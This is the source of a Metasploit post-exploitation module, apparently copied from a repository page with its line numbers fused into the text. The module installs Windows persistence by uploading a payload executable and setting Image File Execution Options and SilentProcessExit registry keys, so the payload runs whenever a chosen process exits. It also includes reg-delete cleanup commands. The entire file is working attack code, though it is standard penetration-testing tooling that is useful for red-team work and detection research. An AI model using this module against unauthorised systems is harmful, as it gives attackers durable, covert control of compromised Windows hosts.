Path: blob/master/modules/exploits/windows/persistence/image_exec_options.rb
31903 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Registry9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Post::Windows::Priv12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/windows/local/persistence_image_exec_options'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Windows Silent Process Exit Persistence',22'Description' => %q{23Windows allows you to set up a debug process when a process exits.24This module uploads a payload and declares that it is the debug25process to launch when a specified process exits.26},27'License' => MSF_LICENSE,28'Author' => [29'Mithun Shanbhag', # earliest author found30'bwatters-r7', # msf module31],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter' ],34'Targets' => [35[ 'Automatic', {} ]36],37'DefaultTarget' => 0,38'DisclosureDate' => '2008-06-28',39'Privileged' => true,40'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],41'References' => [42['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],43['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],44['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']45],46'Compat' => {47'Meterpreter' => {48'Commands' => %w[49stdapi_sys_config_getenv50]51}52},53'Notes' => {54'Stability' => [CRASH_SAFE],55'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],56'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]57}58)59)60register_options([61OptString.new('PAYLOAD_NAME',62[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),63OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])6465])66end6768def writable_dir69d = super70return session.sys.config.getenv(d) if d.start_with?('%')7172d73end7475def check76print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value77return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)7879return CheckCode::Safe('You must be System to run this Module') unless is_system?8081CheckCode::Appears('Likely exploitable')82end8384def upload_payload(dest_pathname)85payload_exe = generate_payload_exe86write_file(dest_pathname, payload_exe)87vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")88end8990def validate_active_host91unless is_system?92fail_with(Failure::NoAccess, 'You must be System to run this Module')93end9495begin96print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")97rescue Rex::Post::Meterpreter::RequestError => e98elog(e)99raise Msf::Exploit::Failed, 'Could not connect to session'100end101end102103def write_reg_keys(image_file, payload_pathname)104reg_keys = []105reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",106value_name: 'GlobalFlag',107type: 'REG_DWORD',108value_value: 512)109reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",110value_name: 'ReportingMode',111type: 'REG_DWORD',112value_value: 1)113reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",114value_name: 'MonitorProcess',115type: 'REG_SZ',116value_value: payload_pathname)117silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'118registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)119reg_keys.each do |key|120registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])121vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")122registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])123unless registry_getvalinfo(key[:key_name], key[:value_name])124print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")125return false126end127end128end129130def install_persistence131validate_active_host132payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))133temp_path = writable_dir134image_file = datastore['IMAGE_FILE']135payload_pathname = temp_path + '\\' + payload_name + '.exe'136vprint_status("Payload pathname = #{payload_pathname}")137upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)138@clean_up_rc << "rm #{payload_pathname}\n"139@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"140@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"141@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"142end143end144145146